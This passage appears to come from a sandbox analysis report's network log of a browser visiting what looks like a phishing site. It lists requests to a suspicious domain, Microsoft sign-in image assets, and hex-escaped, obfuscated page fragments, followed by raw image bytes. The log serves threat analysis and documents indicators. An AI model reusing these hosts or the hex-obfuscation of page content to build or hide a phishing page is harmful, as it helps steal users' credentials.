\x6C\\x61\\x73\\x73\\x3D\\x22\\x74\\x6F\\x70\\x6E\\x61\\x76\\x2D\\x6C\\x6F\\x67\\x6F\\x2D\\x77\\x72\\x61\\x70\\x22\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x61\\x20\\x68\\x72\\x65\
2024-10-07 18:59:06 UTC	1369	IN	Data Raw: 5c 5c 78 37 30 5c 5c 78 37 34 5c 5c 78 36 39 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 43 5c 5c 78 36 31 5c 5c 78 37 33 5c 5c 78 37 33 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 37 33 5c 5c 78 37 32 5c 5c 78 32 44 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 36 43 5c 5c 78 37 39 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 34 37 5c 5c 78 36 46 5c 5c 78 34 34 5c 5c 78 36 31 5c 5c 78 36 34 5c 5c 78 36 34 5c 5c 78 37 39 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 36 36 5c 5c 78 36 39 5c 5c 78 36 37 5c 5c 78 36 33 5c 5c 78 36 31 5c 5c 78 37 30 5c 5c 78 37 34 5c 5c 78 36 39 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 Data Ascii: \\x70\\x74\\x69\\x6F\\x6E\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x73\\x72\\x2D\\x6F\\x6E\\x6C\\x79\\x22\\x3E\\x47\\x6F\\x44\\x61\\x64\\x64\\x79\\x3C\\x2F\\x66\\x69\\x67\\x63\\x61\\x70\\x74\\x69\\x6F\\x6E\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20
2024-10-07 18:59:06 UTC	1369	IN	Data Raw: 37 5c 5c 78 33 30 5c 5c 78 33 31 5c 5c 78 32 30 5c 5c 78 33 32 5c 5c 78 33 32 5c 5c 78 32 45 5c 5c 78 33 35 5c 5c 78 33 34 5c 5c 78 32 30 5c 5c 78 33 33 5c 5c 78 32 45 5c 5c 78 33 39 5c 5c 78 33 33 5c 5c 78 32 30 5c 5c 78 33 36 5c 5c 78 32 45 5c 5c 78 33 32 5c 5c 78 33 38 5c 5c 78 33 39 5c 5c 78 32 30 5c 5c 78 33 31 5c 5c 78 33 30 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 37 5c 5c 78 33 34 5c 5c 78 32 30 5c 5c 78 33 39 5c 5c 78 32 45 5c 5c 78 33 39 5c 5c 78 33 37 5c 5c 78 33 34 5c 5c 78 32 30 5c 5c 78 33 31 5c 5c 78 33 35 5c 5c 78 32 45 5c 5c 78 33 35 5c 5c 78 33 34 5c 5c 78 33 34 5c 5c 78 32 30 5c 5c 78 33 39 5c 5c 78 32 45 5c 5c 78 33 39 5c 5c 78 33 30 5c 5c 78 33 36 5c 5c 78 32 30 5c 5c 78 33 35 5c 5c 78 32 45 5c 5c 78 33 34 5c 5c 78 33 37 5c 5c 78 32 Data Ascii: 7\\x30\\x31\\x20\\x32\\x32\\x2E\\x35\\x34\\x20\\x33\\x2E\\x39\\x33\\x20\\x36\\x2E\\x32\\x38\\x39\\x20\\x31\\x30\\x2E\\x30\\x37\\x34\\x20\\x39\\x2E\\x39\\x37\\x34\\x20\\x31\\x35\\x2E\\x35\\x34\\x34\\x20\\x39\\x2E\\x39\\x30\\x36\\x20\\x35\\x2E\\x34\\x37\\x2
2024-10-07 18:59:06 UTC	1045	IN	Data Raw: 33 32 5c 5c 78 33 34 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 39 5c 5c 78 33 32 5c 5c 78 32 30 5c 5c 78 33 32 5c 5c 78 33 34 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 39 5c 5c 78 33 32 5c 5c 78 32 30 5c 5c 78 33 30 5c 5c 78 32 30 5c 5c 78 33 30 5c 5c 78 32 30 5c 5c 78 33 30 5c 5c 78 32 44 5c 5c 78 33 34 5c 5c 78 32 45 5c 5c 78 33 32 5c 5c 78 33 32 5c 5c 78 33 38 5c 5c 78 32 30 5c 5c 78 33 35 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 38 5c 5c 78 34 33 5c 5c 78 33 38 5c 5c 78 32 45 5c 5c 78 33 36 5c 5c 78 33 39 5c 5c 78 33 37 5c 5c 78 32 30 5c 5c 78 33 31 5c 5c 78 33 35 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 38 5c 5c 78 33 36 5c 5c 78 32 30 5c 5c 78 33 37 5c 5c 78 32 45 5c 5c 78 33 37 5c 5c 78 33 31 5c 5c 78 32 30 5c 5c 78 33 32 5c 5c 78 33 30 5c 5c 78 Data Ascii: 32\\x34\\x2E\\x30\\x39\\x32\\x20\\x32\\x34\\x2E\\x30\\x39\\x32\\x20\\x30\\x20\\x30\\x20\\x30\\x2D\\x34\\x2E\\x32\\x32\\x38\\x20\\x35\\x2E\\x30\\x38\\x43\\x38\\x2E\\x36\\x39\\x37\\x20\\x31\\x35\\x2E\\x30\\x38\\x36\\x20\\x37\\x2E\\x37\\x31\\x20\\x32\\x30\\x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49742	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:08 UTC	370	OUT	GET /obufsssssssscaaatoion/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:08 UTC	771	IN	HTTP/1.1 302 Found Date: Mon, 07 Oct 2024 18:59:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://google.com X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zev0K%2B2%2BEn2eMTAqqf04T7fI5kWcDEBn6xDPZj8gW56UAbbNqUPB3MBATF3fK1cZYnnV0hUIodZq7%2BcDGD%2Bya%2F89YGliPN9m47ejRv9Swcb0%2FElBQlXIrECqZrQvjueHwTNVvFDIJdWLZEo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cf0206b3d7872ab-EWR
2024-10-07 18:59:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49749	152.199.21.175	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:08 UTC	679	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:09 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 17053171 Cache-Control: public, max-age=31536000 Content-MD5: TjUQkZ0p0Y7rbj6LJofS9Q== Content-Type: image/svg+xml Date: Mon, 07 Oct 2024 18:59:09 GMT Etag: 0x8D79A1B9B05915D Last-Modified: Thu, 16 Jan 2020 00:32:45 GMT Server: ECAcc (lhc/7912) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 17a39001-701e-0084-32d1-7da17b000000 x-ms-version: 2009-09-19 Content-Length: 513 Connection: close
2024-10-07 18:59:09 UTC	513	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 31 38 2c 31 31 2e 35 37 38 76 2e 38 34 34 48 37 2e 36 31 37 6c 33 2e 39 32 31 2c 33 2e 39 32 38 2d 2e 35 39 34 2e 35 39 34 4c 36 2c 31 32 6c 34 2e 39 34 34 2d 34 2e 39 34 34 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 38 5a 22 20 66 69 6c 6c 3d 22 23 34 30 34 30 34 30 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2e 39 34 34 2c 37 2e 30 35 36 6c 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49752	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:09 UTC	637	OUT	GET /static/media/bg_normal.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:09 UTC	819	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:09 GMT Content-Type: image/png Content-Length: 19683 Connection: close Content-Disposition: inline; filename="bg_normal.png" Last-Modified: Sat, 04 Nov 2023 20:23:32 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BOKJRrMP3dYA9pM7LytUw5o%2FSJnVAkklc017LJZLHdQgQbFN39CxTdTA43YQRZonIj6lyX0hSph1WqsiC427%2BYAkeOggKVjK04eaNLNYH7zFXdmCUP2ubbWsz3oZSrU%2B76JzetDWDJAMICA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0206e28050cc6-EWR
2024-10-07 18:59:09 UTC	550	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 2a 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 01 00 31 01 02 00 07 00 00 00 1a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 ff db 00 84 00 03 02 02 08 08 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 06 05 05 05 06 06 06 06 06 05 05 06 06 06 06 06 06 06 06 06 06 06 06 0a 06 06 07 08 09 09 09 06 06 0b 0d 0a 08 0d 06 08 09 08 01 03 04 04 06 05 06 07 05 05 07 08 07 07 07 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 ff c0 00 11 08 03 a1 06 74 03 01 22 00 02 11 01 03 11 01 ff c4 00 19 00 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 09 ff c4 00 20 10 01 01 01 01 01 00 Data Ascii: JFIFExifII1Googlet"
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: ac ac 05 42 d4 d6 b0 51 3a 25 05 10 d4 8c ee 28 08 82 28 09 62 46 92 c0 66 ac a5 40 6b 53 a4 00 19 a6 8c 34 33 2a ca 08 62 f4 b2 83 02 fa 40 56 75 53 d2 69 a4 aa c8 cb 2d 27 a6 4b 55 56 89 4d 44 51 34 d0 51 35 40 00 00 00 00 03 40 0d 5e 90 05 e9 75 90 1a 19 34 1a 13 a3 41 40 5a 50 05 ab 57 4e 90 55 6b 55 85 d0 68 4e 97 40 00 05 95 00 6a 55 61 65 06 84 d5 00 00 34 b0 25 00 00 00 05 95 59 25 06 82 50 00 00 01 87 6c 4b 4b 50 00 4b 40 4b 53 44 00 11 a0 d4 b5 05 2d 45 91 a9 01 99 e5 a1 2d 05 4e 93 50 00 00 04 e8 14 4e 93 51 62 f4 9a 02 80 00 01 40 4d 34 14 67 a3 a5 1a 5f 2c 74 68 3a 1a c4 51 96 93 50 05 4d 00 4d 3a 31 01 7a 6a 57 35 82 6b a6 9a c2 8c b5 a3 20 35 a3 26 83 42 4a 74 d0 a1 d1 a3 3a 35 2b 1d 2c f4 23 62 4a a0 96 11 40 00 5c 64 01 a0 00 00 00 17 10 Data Ascii: BQ:%((bFf@kS43*b@VuSi-'KUVMDQ4Q5@@^u4A@ZPWNUkUhN@jUae4%Y%PlKKPK@KSD-E-NPNQb@M4g_,th:QPMM:1zjW5k 5&BJt:5+,#bJ@\d
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: 00 00 ce 80 08 00 03 31 a4 04 29 54 19 16 c4 19 0d 00 2a ca 80 2d ab 2b 22 0b d2 51 10 34 d3 05 42 52 d4 28 1d 1d 2e 24 44 17 42 c4 44 e9 7a 31 24 05 d3 59 01 6d 4e 80 44 b5 25 5b 10 45 94 e9 01 15 71 93 41 71 02 54 01 2d 4e 8a 86 22 ea ea 23 21 a9 d2 0a 60 02 43 a5 67 01 7a 59 59 c0 1a 31 85 94 1a c4 c3 a3 a0 30 e4 d3 40 e5 39 6b 40 67 0c 68 06 70 c6 93 01 30 d5 e4 e4 0d 34 e4 e4 14 67 95 05 03 00 00 05 d4 01 ad 56 09 41 b1 25 50 00 02 55 c4 14 5c 09 54 54 59 ec 14 6e 51 88 bd 2a ae 1c 9a a9 02 2c 41 42 c1 65 5c 06 5a 95 31 30 1b 19 d5 e8 14 00 60 19 b5 87 73 16 d6 40 68 01 34 54 04 00 2d 04 b5 01 17 00 19 51 9f 5e 93 d7 a6 62 e6 02 c8 41 a6 a2 b3 a5 a9 6b 35 42 d6 6d 10 34 17 01 0c 6a 00 9c 9c a8 09 c9 ca ea 5a 07 26 7e d3 40 54 00 59 7f 6b ac 60 0d ea Data Ascii: 1)T-+"Q4BR(.$DBDz1$YmND%[EqAqT-N"#!`CgzYY10@9k@ghp04gVA%PU\TTYnQ,ABe\Z10`s@h4T-Q^bAk5Bm4jZ&~@TYk`
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: 0c b5 12 7c a8 c0 00 00 34 00 2a 68 03 3a c8 02 00 2e 2e 26 a2 a0 d2 2d a4 45 90 1b d4 82 60 8d 6a ca c8 32 d5 a6 b2 4a 0d a6 b2 b6 fe 41 28 97 e5 40 c5 c4 94 94 45 c5 8c ae 89 54 b5 2d 41 1b 19 e9 01 b4 d4 d4 06 b5 35 00 66 d5 d2 c5 19 66 55 21 20 2c a9 8a 32 24 65 b6 71 44 01 40 00 00 67 59 00 44 00 00 00 00 06 6c 16 d4 19 04 d4 e8 46 91 53 40 c3 09 4b 50 4a 86 88 01 a9 d0 94 b1 96 b5 2c 44 40 34 00 00 00 13 12 c6 b1 39 04 59 4b 13 01 ad 4d 41 34 5d 88 8a 50 a2 e8 51 05 c3 14 41 70 c0 43 4c 30 17 a5 d6 40 68 67 5a d0 00 01 65 40 1a 95 75 80 1a b0 c4 95 a9 41 9c 25 69 00 e8 d0 a0 a2 4a a0 2e a0 0b 3d 34 c2 ca 0d 00 02 ca 82 ad 68 49 54 5a 35 2b 22 c1 b1 9d 6a 50 00 50 00 1c fd 22 fa 46 1d e1 a8 ca d0 40 00 06 7d 56 42 d4 01 a0 06 74 19 2d 43 1a c1 2a a7 Data Ascii: \|4h:..&-E`j2JA(@ET-A5ffU! ,2$eqD@gYDlFS@KPJ,D@49YKMA4]PQApCL0@hgZe@uA%iJ.=4hITZ5+"jPP"F@}VBt-C
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: 2a 00 00 be 51 a1 34 a0 0c 80 00 00 25 42 ac 83 27 95 00 00 00 00 1a 91 96 a0 9a 88 b8 83 20 a8 b0 00 20 2c 88 d4 88 23 51 22 89 a0 0a c8 02 00 00 00 09 45 04 d6 63 49 14 40 13 41 59 ad 5a 9d 20 ca 5f 4b 63 2a 35 a9 d2 00 5a 00 00 33 ac 00 20 01 80 00 02 62 82 33 51 ab 13 04 41 3a 41 1a d4 e9 91 34 6b 57 58 19 1a d4 b5 0c 06 74 d0 19 17 50 45 34 d0 54 44 b1 4b 19 19 5d 2c 45 d1 ad 35 91 06 ac 65 2a 03 42 4a a0 25 8a 96 02 62 2d 88 0d 74 74 c8 0d 8c 35 d0 28 68 01 28 03 52 8c 80 d8 cc ad 40 05 c4 b0 16 55 64 95 46 83 45 05 d4 10 6a 55 61 a9 45 54 c5 0a 24 8d 48 98 45 58 d6 27 24 ad 04 49 14 00 c5 c4 95 a0 89 89 8d 18 04 05 c5 11 75 00 6a 7a 56 05 83 34 06 5d b0 12 d0 4b 50 06 c0 10 18 6a d4 b1 17 10 54 14 4b 55 3d 02 00 80 02 03 3e 9a 66 8d 54 01 14 00 00 Data Ascii: Q4%B' ,#Q"EcI@AYZ _Kc5Z3 b3QA:A4kWXtPE4TDK],E5e*BJ%b-tt5(h(R@UdFEjUaET$HEX'$IujzV4]KPjTKU=>fT
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: 58 88 98 8a 08 61 16 9e 41 4c 00 06 62 da 83 36 b3 6b 5e 99 00 05 00 00 01 84 00 10 00 40 12 d0 18 f4 d5 a8 83 22 c8 8c a0 58 a6 2a 6a 58 8d 58 88 88 2c 28 20 b6 31 68 2f 49 41 91 9a 8d 58 c8 00 00 00 c8 96 28 0c e2 37 58 64 16 54 14 5e 97 59 19 17 10 8d 4a 08 8d e2 60 32 2f 28 0b 2b 4c 2c a0 d0 00 98 b0 01 ad 56 1a 94 14 00 11 51 45 c0 91 71 a5 a8 18 0a be 6a b2 d4 00 00 1a 95 95 80 d0 00 2e 92 22 8d 2a 79 55 00 01 a1 9d 68 0c 00 12 2a 62 80 00 05 81 5b 76 19 00 68 01 15 3d 32 50 80 03 2b 44 aa 94 2b 38 cd 8d 02 b2 4a d2 5f 22 ac a5 4c 27 a0 40 b5 34 14 02 00 09 00 02 00 09 04 b5 29 88 b0 00 20 00 b0 00 00 00 00 10 00 28 00 c8 00 0d 48 48 aa 00 2c 4a 00 a8 00 20 00 00 2e 26 8b 2a 2c 8a 8d 48 d3 32 88 35 a3 32 ac aa 28 0a cd 00 10 00 00 04 00 58 83 51 98 Data Ascii: XaALb6k^@"XjXX,( 1h/IAX(7XdT^YJ`2/(+L,VQEqj."yUhb[vh=2P+D+8J_"L'@4) (HH,J .&,H252(XQ
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: 9a 8b 50 00 01 65 10 14 b1 22 da 9a 06 1c 9a 74 14 b0 e5 74 04 9e 4e 56 d3 41 39 4b 1a d4 b4 2a 58 98 a0 27 27 2a 02 61 8a 9a 0a 26 82 28 cf f4 06 86 74 d0 53 59 c5 e4 0d 46 b1 56 09 86 28 a0 02 a5 00 10 00 00 c5 82 18 b2 00 94 00 40 13 41 46 6d 35 62 55 b5 01 50 c5 f2 45 10 00 00 00 58 4a d0 06 89 62 a5 50 c0 85 4c 50 58 80 0c 84 ab a8 00 0a a9 46 bc a4 5d 19 6a d6 74 10 16 44 34 1a 2d 67 40 5d 35 34 02 d5 f3 12 34 00 54 d0 53 53 50 1a 5d 48 0c ac 69 98 b6 88 96 9a 54 01 62 2c 02 92 23 40 95 69 14 19 2a a4 19 41 49 19 10 6a a0 20 b8 40 58 14 90 16 d2 03 3a 00 20 32 d2 55 18 f4 8d 54 91 04 00 00 00 00 40 28 88 0a ce b2 8a c2 f4 90 0f 51 31 ab f0 88 32 2d 0d 08 92 2d 10 64 54 bf 60 c8 d5 9f 86 41 2a 58 d2 58 8c b2 2f 28 ca 0c d6 92 c0 64 04 d1 39 4a d0 95 Data Ascii: Pe"ttNVA9KX''a&(tSYFV(@AFm5bUPEXJbPLPXF]jtD4-g@]544TSSP]HiTb,#@iAIj @X: 2UT@(Q12--dT`AXX/(d9J
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: 00 00 00 01 1b 49 00 14 04 a0 02 80 02 c8 a0 00 02 50 00 a0 02 50 04 00 19 40 05 00 10 55 89 22 c0 2a 90 00 00 00 00 00 00 4d 4d 00 44 00 00 00 00 00 00 0d 13 19 d5 a2 48 2a 05 29 e5 28 20 b8 8c a0 02 d0 01 00 04 00 00 00 46 6c 1a ac b2 0c 56 d2 c0 64 01 40 19 d0 01 12 00 0c 88 a0 33 c1 cb 5a 8c 89 62 63 56 25 80 98 62 e2 20 60 00 00 06 18 00 9c 9c a8 09 89 8d 35 20 31 22 b6 9c 83 23 5c a6 02 00 0b 22 e1 22 82 72 72 a0 33 84 8d 2c a0 82 f2 98 28 00 41 af 2c ac 08 d0 0a 40 05 20 60 d4 51 91 aa ce 0a 12 98 48 2b 40 00 00 2c 69 3c aa 82 72 a2 89 23 2d 8a 39 18 56 9e b8 f5 32 96 37 82 c1 cb 06 d3 94 83 23 58 ab 06 2c 4a dd 64 8a ce ae aa 62 42 a8 04 5a 96 b2 b5 08 94 01 16 80 09 44 aa 96 85 40 02 80 05 00 0a 00 a8 02 50 35 2d 41 60 00 40 00 80 02 80 00 00 00 Data Ascii: IPP@U"MMDH)( FlVd@3ZbcV%b `5 1"#\""rr3,(A,@ `QH+@,i<r#-9V27#X,JdbBZD@P5-A`@
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: 5e 4c 11 00 0a 02 c1 a5 8a 00 25 8a 28 cd 8b 22 ac 85 48 83 46 2d 23 23 58 cd 82 8d 44 8d 28 00 00 00 e2 03 a6 fd 84 f4 a5 06 40 10 02 c1 58 0c 11 01 64 5c 11 24 66 b6 c8 27 26 28 a8 9c 92 28 06 33 56 d6 40 00 00 00 04 be 80 a8 9a 9a 0d 0c 69 a0 da 5a ce 80 bd 1d 20 41 75 34 35 60 09 d2 69 05 e9 35 02 0b a8 0a 94 00 2a 98 69 a2 53 90 5c 0a 9a aa 60 26 29 80 82 ea 00 d4 a6 b2 03 69 a8 b0 14 94 30 14 91 60 00 00 00 00 00 b8 b1 25 34 4a d0 92 ab 31 40 08 00 10 17 50 11 bf 34 b7 ff 00 58 50 ad 4a d4 66 46 85 00 00 01 34 00 40 00 00 45 01 63 2a a4 22 80 00 00 00 00 00 02 e0 45 c6 10 80 a2 a2 80 00 00 03 20 00 09 01 10 c1 46 54 00 00 00 00 04 a5 a9 62 68 8d 48 92 34 c8 96 32 b5 30 00 00 01 34 00 41 3d 54 c3 17 10 42 55 a9 40 a0 b1 91 00 a0 8a 8a 08 28 c8 80 20 Data Ascii: ^L%("HF-##XD(@Xd\$f'&((3V@iZ Au45`i5iS\`&)i0`%4J1@P4XPJfF4@Ec"E FTbhH4204A=TBU@(
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: 04 82 e9 20 12 28 00 02 68 00 cb 40 34 09 29 12 35 44 4b 48 62 32 8b 2a d4 82 28 d2 28 a0 00 00 00 0c e8 00 20 00 a0 0c 80 08 00 00 00 a1 41 95 16 20 84 31 6d 48 b2 b2 24 6b 52 40 14 49 4c 02 29 04 d1 16 89 23 2a 45 25 28 12 a5 54 b4 10 0c 60 02 45 04 0c 00 01 90 00 06 6a 98 83 23 62 ac 60 6b 0c 08 c8 d6 0c e9 19 1a c3 10 8c 8d 62 72 11 05 e4 e4 22 00 10 00 68 00 45 c3 16 28 46 7f 88 da 51 23 22 d8 82 00 0a 2c 46 96 91 51 51 11 9a 2d a8 00 0b 81 23 52 24 8d 34 00 00 00 04 08 0d 62 55 16 8c e0 d2 58 a2 12 04 80 d0 00 00 a0 02 d1 c6 b2 db 0e b3 00 00 9e 91 aa c8 05 00 4f 4c e3 55 28 09 22 e2 ac 4a 98 cc 74 61 4a 00 a8 01 41 9a 80 00 00 27 a3 a6 2d 06 92 d6 45 80 02 c0 ac 36 cd 8a 20 02 50 01 90 0b 40 b5 9b 40 89 40 16 25 00 50 00 40 00 a0 a6 82 63 52 26 ac Data Ascii: (h@4)5DKHb2(( A 1mH$kR@IL)#E%(T`Ej#b`kbr"hE(FQ#",FQQ-#R$4bUXOLU("JtaJA'-E6 P@@@%P@cR&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49755	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:09 UTC	638	OUT	GET /static/media/logo-off-1.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:09 UTC	822	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:09 GMT Content-Type: image/png Content-Length: 330 Connection: close Content-Disposition: inline; filename="logo-off-1.png" Last-Modified: Sat, 04 Nov 2023 15:12:26 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d%2F0SujVOCIRQJZpxVuGxHRdyWgxUNRxXbv9S7bn8HiSFCIc%2B9x9AmHt6rJbG876bTRWCLVsS%2Bv7EabjOBvietPCUJdluWclvGxmJ3CO2%2FaZoLykOWtMhXU7oVnlZc0PzyUb2Fxh%2BJp7cqv0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0206e28cdc32f-EWR
2024-10-07 18:59:09 UTC	330	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 80 00 00 00 80 08 03 00 00 00 f4 e0 91 f9 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 00 0f 50 4c 54 45 47 70 4c f2 50 22 7f ba 00 00 a4 ef ff b9 00 a0 04 f9 f2 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 01 62 4b 47 44 00 88 05 1d 48 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 